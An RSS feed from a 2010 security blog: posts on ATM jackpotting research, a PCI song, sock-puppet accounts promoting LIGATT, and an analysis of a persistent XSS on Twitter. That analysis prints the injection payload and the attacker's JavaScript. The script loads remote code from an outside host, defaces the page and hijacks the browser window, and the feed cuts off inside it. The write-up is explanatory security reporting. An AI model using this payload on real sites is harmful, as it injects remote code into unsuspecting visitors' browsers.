<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect &#187; Prefect</title>
	<atom:link href="http://praetorianprefect.com/archives/author/prefect/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Turning an ATM into a Slot Machine</title>
		<link>http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/</link>
		<comments>http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 23:50:13 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[atm]]></category>
		<category><![CDATA[blackhat]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4600</guid>
		<description><![CDATA[In a talk originally slated for last year before it was muffled by Juniper based on the concerns of "an affected ATM vendor", Jack demonstrates what he calls jackpotting an ATM.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot-150x150.jpg" alt="" title="atm_jackpot" width="150" height="150" class="alignleft size-thumbnail wp-image-4601" /></a></p>

<p>Security researcher Barnaby Jack, currently at IOActive but a veteran of Foundstone, eEye, and Juniper with almost ten years in the industry, has demonstrated two exploit methods for ATM&#8217;s (Automated Teller Machines) in a presentation that is thus far the talk of the Black Hat 2010 conference. In a discussion originally slated for last year before it was muffled by Juniper based on the concerns of &#8220;an affected ATM vendor&#8221;, Jack demonstrates what he calls jackpotting an ATM.
<br /><br /><br /><br /></p>

<p>Here&#8217;s the ATM &#8220;jackpot&#8221; (music playing, money flying out, word &#8216;Jackpot&#8217; displayed on the console):</p>

<p><object width="425" height="344"><param name="movie" value="http://www.twitvid.com/player/TGMDW"></param><param name="allowscriptaccess" value="always"></param><param name="allowFullScreen" value="true"></param><embed type="application/x-shockwave-flash" src="http://www.twitvid.com/player/TGMDW" quality="high" allowscriptaccess="always" allowNetworking="all" allowfullscreen="true" wmode="transparent" height="344" width="425"></object>
<br /></p>

<h3>The Attack</h3>

<p>The attack was employed using two custom tools Jack developed: Scrooge, an ATM firmware rootkit (malicious software that conceals itself at the level of interface between software and hardware) and Dilinger (named for the famous bank robber), a remote ATM attack tool that keeps track of compromised machines and stores the data stolen from people who use the machines. The first exploit involved unlocking a panel on the ATM and inserting a USB key that overwrites the machine&#8217;s native firmware with the aforementioned rootkit, taking control of the ATM.</p>

<h3>Research</h3>

<p><div id="attachment_4606" class="wp-caption alignleft" style="width: 200px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_open.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_open.jpg" alt="" title="atm_open" width="190" height="202" class="size-full wp-image-4606" /></a><p class="wp-caption-text">Triton ATM opened up, as an example.</p></div>
<br /></p>

<p>To perform the research, Jack acquired physical ATM machines, attached a debugger to the ATM motherboard, and proceeded to reverse engineer the machine&#8217;s firmware. He then developed a replacement version (the aforementioned Scrooge software). Firmware typically refers to the small footprint of code (programs, data structures) that provide internal control of electronic devices. In other words, think the low level operations of any electronic device.</p>

<p>In the models Jack tested he was able to, after accessing the machine&#8217;s USB ports with a master key purchased online, perform a replacement of the firmware with his rootkit version. The ATM&#8217;s include the ability to do this so that firmware updates can be made by those performing maintenance on the ATM. However, there is no integrity check to ensure that the code update is coming from a trusted source.</p>

<p>The keys themselves for the cabinets are <a href="http://www.atmpartmart.com/index.php?main_page=index&amp;cPath=698_833_847">not hard to acquire</a>.</p>

<h3>Mitigation</h3>

<p>In response ATM vendors have created a new version of the firmware requiring future updates have a digital signature (essentially a shared secret between the machine and the author of code for that machine to ensure the integrity of the code update). Doing this would help to prevent the type of rogue update via USB Jack performed, as long as the signing keys are kept secret.</p>

<h3>Breadth</h3>

<p>While Jack wouldn&#8217;t reveal the names of the ATM vendors whose devices he compromised (they are reported to be Triton and Tranax machines), he has noted that every ATM he has tested he has compromised, intimating attacks on multiple machines are possible because of similarities in the way generic ATM machines are made. He did note the external limitations of his research, citing the fact that there are only so many ATM&#8217;s you can put in an apartment before &#8220;your girlfriend gets mad&#8221;.</p>

<p>Jack actually told the delivery man who brought the ATM&#8217;s that he was getting them because he wanted to avoid bank withdrawal fees.</p>

<p><div id="attachment_4602" class="wp-caption alignnone" style="width: 622px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot1.jpg" alt="" title="atm_jackpot" width="612" height="828" class="size-full wp-image-4602" /></a><p class="wp-caption-text">Money spews from the ATM like a slot machine post exploit.</p></div>
<br /></p>

<h3>Remote Attack</h3>

<p>A remote attack was also demonstrated over Wifi, but many of the details have not yet been released. Jack found a way ,testing on his own machines, to bypass the remote authentication system of the ATM so that the same homemade rootkit, Scrooge, could be installed. This essentially provides access to an ATM via an Internet connection allowing for attack results such as the ability to record card and pin numbers on entry and sending them to a remote attacker). Such vulnerable ATM&#8217;s could be located with a war dialing tool, calling thousands of phone numbers until a vulnerable machine responds via modem, a technique already in play by criminals.</p>

<h3>Conclusion</h3>

<blockquote>
  <p>&#8220;Sometimes you have to demo a threat to spark a solution,&#8221; <br />Barnaby Jack</p>
</blockquote>

<p>The image is a resonant and powerful image of insecurity, we have here a demonstrated attack that allows you to spew money out of an ATM in a few seconds, and a second that doesn&#8217;t even require physical access to the machine. At this point, the response time frame from ATM vendors as well as the vulnerability demonstrated via USB are bordering on negligence, a master key that is readily available and USB based firmware updates without any signing mechanism to ensure that it is an &#8216;approved&#8217; update.</p>

<p>We have here, after all, a device whose sole purpose is to dispense cash.</p>

<p>Last year an ATM vendor got the talk pulled from BlackHat by pressuring Jack&#8217;s employer, Juniper Networks, despite having seven months of notification from Jack to arrive at some sort of response before the scheduled talk. Given we are now some one and a half years from notification, and given the quantity and dispersal of ATM&#8217;s out there, the vulnerabilities demonstrated are likely still viable.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/02/microsofts-google-attack-patch/">Microsoft&#8217;s Google Attack Patch?</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/adobe-util-printd-zero-day/">Adobe util.printd Zero Day</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/six-bulletins-in-last-patch-tuesday-of-2009/">Six Bulletins in Last Patch Tuesday of 2009</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/the-barack-obama-donations-site-was-hacked%e2%80%a6err-no-it-wasn%e2%80%99t/">The Barack Obama Donations Site was Hacked…err, no it wasn’t.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PCI Rock, WTH?</title>
		<link>http://praetorianprefect.com/archives/2010/07/pci-rock-wth/</link>
		<comments>http://praetorianprefect.com/archives/2010/07/pci-rock-wth/#comments</comments>
		<pubDate>Fri, 23 Jul 2010 19:10:08 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Certification]]></category>
		<category><![CDATA[pci]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4589</guid>
		<description><![CDATA[Security Awareness Programs can be a daunting task. It is not atypical to try to mix security awareness programs with some element of fun, such as humor with a message.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_logo.jpg" alt="" title="pci_logo" width="117" height="83" class="alignleft size-full wp-image-4596" /></a></p>

<p>Security Awareness Programs can be a daunting task. It is not atypical to try to mix security awareness programs with some element of fun, such as humor with a message. After all, playing off fear has a limited shelf life, may not be your personal style, and may alienate the audience. That said good humor is well&#8230;hard, and you risk being hokey to the point where your message, and even you, may not be taken seriously.</p>

<p>Enter the PCI Security Standards Council&#8217;s horrible country song:</p>

<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/OceYWri86Ts&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/OceYWri86Ts&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object>
<br /></p>

<p>The song has already been nominated for a <a href="http://pwnies.com/">Pwnie 2010 award</a>.</p>

<p><div id="attachment_4592" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_rocks.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_rocks.jpg" alt="" title="pci_rocks" width="750" height="565" class="size-full wp-image-4592" /></a><p class="wp-caption-text">PCI Standards Rock?</p></div>
<br />
<div id="attachment_4593" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/PCI_QSA_Fees.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/PCI_QSA_Fees.jpg" alt="" title="PCI_QSA_Fees" width="750" height="383" class="size-full wp-image-4593" /></a><p class="wp-caption-text">Qualification Fees - PCI QSA</p></div>
<br /></p>

<p>A Twitter response captured the problem with this approach succinctly: &#8220;That particular page isn&#8217;t going to help their mission &#8211; looking like a dope trying to reach people who think you&#8217;re a dope&#8221; &#8211; <a href="http://www.twitter.com/Corum">@Corum</a>.</p>

<p>At least the Standards Council is spending the exorbitant qualification fees it collects wisely.</p>

<p><strong>Related Posts:</strong></p>
<ul>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/07/pci-rock-wth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Asian Men Prefer LIGATT</title>
		<link>http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 23:29:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[ligatt]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4478</guid>
		<description><![CDATA[A number of new Twitter accounts spawned today, all tweeting positively about the disgraced security firm LIGATT security (plagiarism, threats, stock manipulation), responding to actual security professionals, and all using avatars that are easily attributable to other web sites.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie.jpg" alt="" title="bowie" width="131" height="88" class="alignleft size-full wp-image-4479" /></a></p>

<p>A number of new Twitter accounts spawned today, all tweeting positively about the disgraced security firm LIGATT security (<a href="http://praetorianprefect.com/archives/2010/06/4305/">plagiarism</a>, <a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">threats</a>, <a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt01/">stock manipulation</a>), responding to actual security professionals, and using avatars that are attributable to other sources. On one, the account creator actually forgot to remove the &#8220;Stock&#8221; message from the photo. In another, an image was taken of famous baseball player Ichiro Suzuki to create a fake account titled &#8220;Khang&#8221;. This technique is instructive in how not to attempt to restore one&#8217;s reputation on Twitter, and provides a look at a security company awkwardly creating Twitter Spam as part of its marketing.</p>

<h3>Bowie Khung</h3>

<p><div id="attachment_4488" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_khung1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_khung1.jpg" alt="" title="bowie_khung" width="750" height="715" class="size-full wp-image-4488" /></a><p class="wp-caption-text">Bowie Stock Photo Khung</p></div>
<br /></p>

<p><div id="attachment_4487" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_gettyimages.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_gettyimages.jpg" alt="" title="bowie_gettyimages" width="750" height="504" class="size-full wp-image-4487" /></a><p class="wp-caption-text">Getty Images: Asian Man Smiling</p></div>
<br /></p>

<h3>Khang (aka Ichiro Suzuki, Seattle Mariners baseball team)</h3>

<p><div id="attachment_4493" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/Khang.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/Khang.jpg" alt="" title="Khang" width="750" height="514" class="size-full wp-image-4493" /></a><p class="wp-caption-text">Hits leadoff for the Mariners, and tracks LIGATT.</p></div>
<br /></p>

<p><div id="attachment_4486" class="wp-caption alignnone" style="width: 689px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ichiro.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ichiro.jpg" alt="" title="ichiro" width="679" height="726" class="size-full wp-image-4486" /></a><p class="wp-caption-text">Khang plays baseball, and loves LIGATT.</p></div>
<br /></p>

<h3>Nemanja</h3>

<p><div id="attachment_4483" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/nem_rodo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/nem_rodo.jpg" alt="" title="nem_rodo" width="750" height="682" class="size-full wp-image-4483" /></a><p class="wp-caption-text">Nemanja</p></div>
<br /></p>

<p><div id="attachment_4484" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/nemanja_result.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/nemanja_result.jpg" alt="" title="nemanja_result" width="700" height="386" class="size-full wp-image-4484" /></a><p class="wp-caption-text">Where Nemanja's image was taken from.</p></div>
<br /></p>

<h3>And the Lameness Continues&#8230;</h3>

<p><div id="attachment_4495" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/josh_p82.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/josh_p82.jpg" alt="" title="josh_p82" width="750" height="636" class="size-full wp-image-4495" /></a><p class="wp-caption-text">Hey, SPOOFEM works great.</p></div>
<br /></p>

<p><div id="attachment_4497" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/dhen.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/dhen.jpg" alt="" title="dhen" width="750" height="660" class="size-full wp-image-4497" /></a><p class="wp-caption-text">I wish I was in Vuvuzela?</p></div>
<br /></p>

<p><div id="attachment_4496" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/joewang.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/joewang.jpg" alt="" title="joewang" width="750" height="477" class="size-full wp-image-4496" /></a><p class="wp-caption-text">Big Joe Wang</p></div>
<br /></p>

<p><div id="attachment_4498" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/rico.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/rico.jpg" alt="" title="rico" width="750" height="624" class="size-full wp-image-4498" /></a><p class="wp-caption-text">Why does he like the name Rico so much?</p></div>
<br /></p>

<h3>Finally</h3>

<p>We thought we were done writing about LIGATT, we really did. But the buffoonery seems to know no bounds.</p>

<p>&#8220;Just when I thought I was out, they pull me back in.&#8221;</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Persistent XSS on Twitter.com</title>
		<link>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 08:32:11 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4423</guid>
		<description><![CDATA[Twitter user 0wn3d_5ys has demonstrated a persistent cross site scripting (XSS) vulnerability he found on  June 21st using his own Twitter account (visit at your own risk) that appears to be due to a lack of input validation of the application name field when accepting new requests for Twitter applications.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/failwhale.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/failwhale-e1277366677897-150x150.jpg" alt="" title="failwhale" width="150" height="150" class="alignleft size-thumbnail wp-image-4424" /></a></p>

<p>Twitter user 0wn3d_5ys has demonstrated a persistent cross site scripting (XSS) vulnerability on Twitter he found on June 21st using <a href="http://twitter.com/0wn3d_5ys">his own Twitter account</a> (visit at your own risk) that appears to be due to a lack of input validation of the application name field when accepting new requests for Twitter applications. Visiting his account on Twitter results in a pair of classic cross site scripting alert boxes, then your browser is manipulated, finally you enter the matrix (see below), and get messages from the researcher who found the vulnerability.
<br /><br /><br /></p>

<div id="attachment_4428" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_example.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_example.jpg" alt="" title="xss_example" width="750" height="600" class="size-full wp-image-4428" /></a><p class="wp-caption-text">Initial result of visiting the affected Twitter profile.</p></div>
<br /></p>

<p><div id="attachment_4429" class="wp-caption alignnone" style="width: 336px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/alert1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/alert1.jpg" alt="" title="alert1" width="326" height="126" class="size-full wp-image-4429" /></a><p class="wp-caption-text">Alert box one.</p></div>
<br /></p>

<p><div id="attachment_4430" class="wp-caption alignnone" style="width: 428px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/alert2.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/alert2.jpg" alt="" title="alert2" width="418" height="126" class="size-full wp-image-4430" /></a><p class="wp-caption-text">Alert box 2.</p></div>
<br /></p>

<p><div id="attachment_4431" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/matrix_time.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/matrix_time.jpg" alt="" title="matrix_time" width="750" height="600" class="size-full wp-image-4431" /></a><p class="wp-caption-text">Then you're in the matrix.</p></div>
<br /></p>

<p>And lest you wonder at his intentions, he supplies the following messages into the pages title tag:</p>

<pre><code>tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: 
Indonesian H4x0r";
</code></pre>

<p>He announced the find <a href="http://www.0wn3d-5ys.co.cc/">on his blog</a> as well as the Indonesian forum Balikita.</p>

<h3>The Vulnerable Field</h3>

<p>The problem is similar to one <a href="http://www.davidnaylor.co.uk/massive-twitter-cross-site-scripting-vulnerability.html">described last August</a> by James Slater. That time around the issue was with the application URL, this time it appears the application name is the issue.</p>

<p>The code containing the injection occurs at the application name field (the via &#8220;Application name&#8221; you see on your tweets).</p>

<pre><code>&lt;span&gt;via &lt;a href="http://www.0wn3d-5ys.co.cc" rel="nofollow"&gt;Ub­­&amp;shy;erTw­i­&amp;shy;tter&lt;span 
style="visibility: hidden"&amp;gt; &lt;script src='http://is.gd/cWO66' type='text/javascript'&amp;gt;&lt;/script&amp;gt;&lt;/a&gt;
&lt;/span&gt;
</code></pre>

<p>What do you notice right away? There&#8217;s no closing bracket on the closing script tag (Twitter is encoding as gt, at least partially, what was submitted). Here the researcher seems to get lucky in that his closing script tag is ignored, and the page falls all the way through to another Javascript include before it starts interpreting the markup again. Fortunately the next thing the browser interprets is the closing script tag on a Twitter included Javascript, thus the code injection works:</p>

<pre><code>&lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"&gt;&lt;/script&gt;
</code></pre>

<p><div id="attachment_4433" class="wp-caption alignnone" style="width: 389px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/injection_location.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/injection_location.jpg" alt="" title="injection_location" width="379" height="251" class="size-full wp-image-4433" /></a><p class="wp-caption-text">Injection location.</p></div>
<br /></p>

<p>This field is supplied when an application is set up via the Twitter <a href="http://dev.twitter.com/apps/new">Application Registration</a> page.</p>

<p><div id="attachment_4451" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/appform.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/appform.jpg" alt="" title="appform" width="700" height="711" class="size-full wp-image-4451" /></a><p class="wp-caption-text">Where Application Name is supplied.</p></div>
<br /></p>

<h3>The Javascript</h3>

<p>The shortened URL included (http://is.gd/cWO66) redirects to: http://h1.ripway.com/www.Frendster.com/011.js.</p>

<pre><code>//*----------------------------------*//
alert("::::::||+ &lt;/X55ED&gt; + H4x0r-x0x  +||:::::: ");
alert("::::::::::::::::||+ Page Twitter Owned By: H4x0r-x0x +||:::::::::::::::: \n ::::::||+ H4x0r-x0x From Forum.Balikita.Net &amp; Ungu.com +||::::::");

//*----------------------------------*//
var myjs = document.createElement("script");
myjs.type = "text/javascript";
myjs.src = "http://h1.ripway.com/www.Frendster.com/H4x0r.js";
document.getElementsByTagName("head")[0].appendChild(myjs);

//*----------------------------------*//
var shortc = document.createElement("link");
shortc.rel = "SHORTCUT ICON";
shortc.href = "http://img532.imageshack.us/img532/4308/indonesiaflag.gif";
document.getElementsByTagName("head")[0].appendChild(shortc);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/www.Frendster.com/twitt.css");
document.getElementsByTagName("head")[0].appendChild(css);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href"," http://h1.ripway.com/www.Frendster.com/css.css");
document.getElementsByTagName("head")[0].appendChild(css);

//**************************************//

//**************************************//

function tb8_makeArray(n){
this.length = n;
return this.length;
}
tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: Indonesian H4x0r";
tb8_rptType = 'infinite';
tb8_rptNbr = 5;
tb8_speed = 100;
tb8_delay = 2000;
var tb8_counter=1;
var tb8_currMsg=0;
var tb8_tekst ="";
var tb8_i=0;
var tb8_TID = null;
function tb8_pisi(){
tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1);
document.title = tb8_tekst;
tb8_sp=tb8_speed;
tb8_i++;
if (tb8_i==tb8_messages[tb8_currMsg].length){
tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay;
}
if (tb8_currMsg == tb8_messages.length){
if ((tb8_rptType == 'finite') &amp;&amp; (tb8_counter==tb8_rptNbr)){
clearTimeout(tb8_TID);
return;
}
tb8_counter++;
tb8_currMsg = 0;
}
tb8_TID = setTimeout("tb8_pisi()", tb8_sp);
}
tb8_pisi()


//------

var message=" syapakahh Qwueee.. w4s Hare ";
///////////////////////////////////
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&amp;&amp;!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}

document.oncontextmenu=new Function("return false")
// --&gt;


//***********//
//form tags to omit in NS6+:
var omitformtags=["input", "textarea", "select"]

omitformtags=omitformtags.join("|")

function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
return false
}

function reEnable(){
return true
}

if (typeof document.onselectstart!="undefined")
document.onselectstart=new Function ("return false")
else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}

/***********/

scrW=screen.availWidth
scrH=screen.availHeight
window.resizeTo(10,10)
window.focus()
for(a=0;a&lt;80;a++){
window.moveTo(0,0)
window.resizeTo(0,scrH*a/80)
}

window.resizeTo(0,0)
for(b=0;b&lt;80;b++){
window.moveTo(0,scrH/1)
window.resizeTo(scrW*b/80,0)
}

for(c=0;c&lt;80;c++){
window.moveTo(scrW/1,scrH/1)
window.resizeTo(0,scrH*c/80)
}

for(d=0;d&lt;80;d++){
window.moveTo(scrW/1,0)
window.resizeTo(scrW*d/80,0)
}

for(e=0;e&lt;80;e++){
window.resizeTo(scrW*e/80,scrH*e/80)
}

window.moveTo(0,0)
window.resizeTo(scrW,scrH) 

///************************///
var wibiya_pl = "false";
var wibiya_nc = "true";
var wibiya_latestJq = false;
var wibiya_flashFix = false;
var wibiya_jQuery_ver = 132;
var wibiyaTimeoutId;

function jquery_ver(){
    return parseInt(jQuery.fn.jquery.replace(/\./gi,'').substring(0,3));
}

if (!Array.prototype.indexOf) {
    Array.prototype.indexOf = function(obj, start) {
        for (var i = (start || 0), j = this.length; i &lt; j; i++) {
            if (this[i] === obj) {
                return i;
            }
        }
        return -1;
    }
}

function loadjscssfile(filename, filetype, where){
    var fileref;
    if (filetype=="js"){ //if filename is a external JavaScript file
        fileref=document.createElement("script");
        fileref.setAttribute("type","text/javascript");
        fileref.setAttribute("src", filename);
    }
    else if (filetype=="css"){ //if filename is an external CSS file
        fileref=document.createElement("link");
        fileref.setAttribute("rel", "stylesheet");
        fileref.setAttribute("type", "text/css");
        fileref.setAttribute("href", filename);
    }
    if (typeof fileref!="undefined"){
        if (where=="head"){
            document.getElementsByTagName("head")[0].appendChild(fileref);
        }
        else{
            document.getElementsByTagName("body")[0].appendChild(fileref);
        }
    }
}

function CheckJQueryLoader(toolbarId)
{
    if (typeof jQuery == "function")
    {
        if (!wibiya_latestJq)
        {
            clearTimeout(wibiyaTimeoutId);
            SetToolbarLoad();
        }
        else
        {
            if (jquery_ver() &gt;= wibiya_jQuery_ver)
            {
                clearTimeout(wibiyaTimeoutId);
                SetToolbarLoad();
            }
            else
            {
                wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
            }
        }
    }
    else
    {
        wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
    }
}

function getQueryParam(name){
    var qString = window.location.search.substring(1).split("&amp;");
    var params = new Array();

    var p;
    for(var i=0; i&lt;qString.length; i++){
        p = qString[i].split("=");
        params[p[0]] = p[1];
    }

    return params[name];
}

function SetToolbarLoad(){
    var wibiya_mobiles = ["iphone","ipod","ipad","series60","symbian","android","windows ce",
        "blackberry","palm","avantgo","docomo","vodafone","j-phone",
        "xv6850","htc","lg;","lge","mot","nintendo","nokia","samsung","sonyericsson"];
    wibiyaToolbar.wibiya_isMobile = false;
    wibiyaToolbar.wibiya_uAgent = navigator.userAgent.toLowerCase();
    for(var i=0;i&lt;wibiya_mobiles.length;i++){
        if(wibiyaToolbar.wibiya_uAgent.match(wibiya_mobiles[i]) != null){
            wibiyaToolbar.wibiya_isMobile = true;
            break;
        }
    }

    if ((jQuery.browser.msie &amp;&amp; parseInt(jQuery.browser.version)==6) ||  wibiyaToolbar.wibiya_isMobile == true){
        // ie 6 and below -&gt; do nothing
    }
    else{
        if(wibiya_flashFix === true){
            wibiyaToolbar.rewriteFlash = 0;
            wibiyaToolbar.framework.FlashFix();
            wibiyaToolbar.rewriteFlashInterval = setInterval("wibiyaToolbar.framework.FlashFix();", 3333);
        }

        wibiyadomain = "http://cdn.wibiya.com/Toolbars/dir_0463/Toolbar_463831/";
        // no-conflict
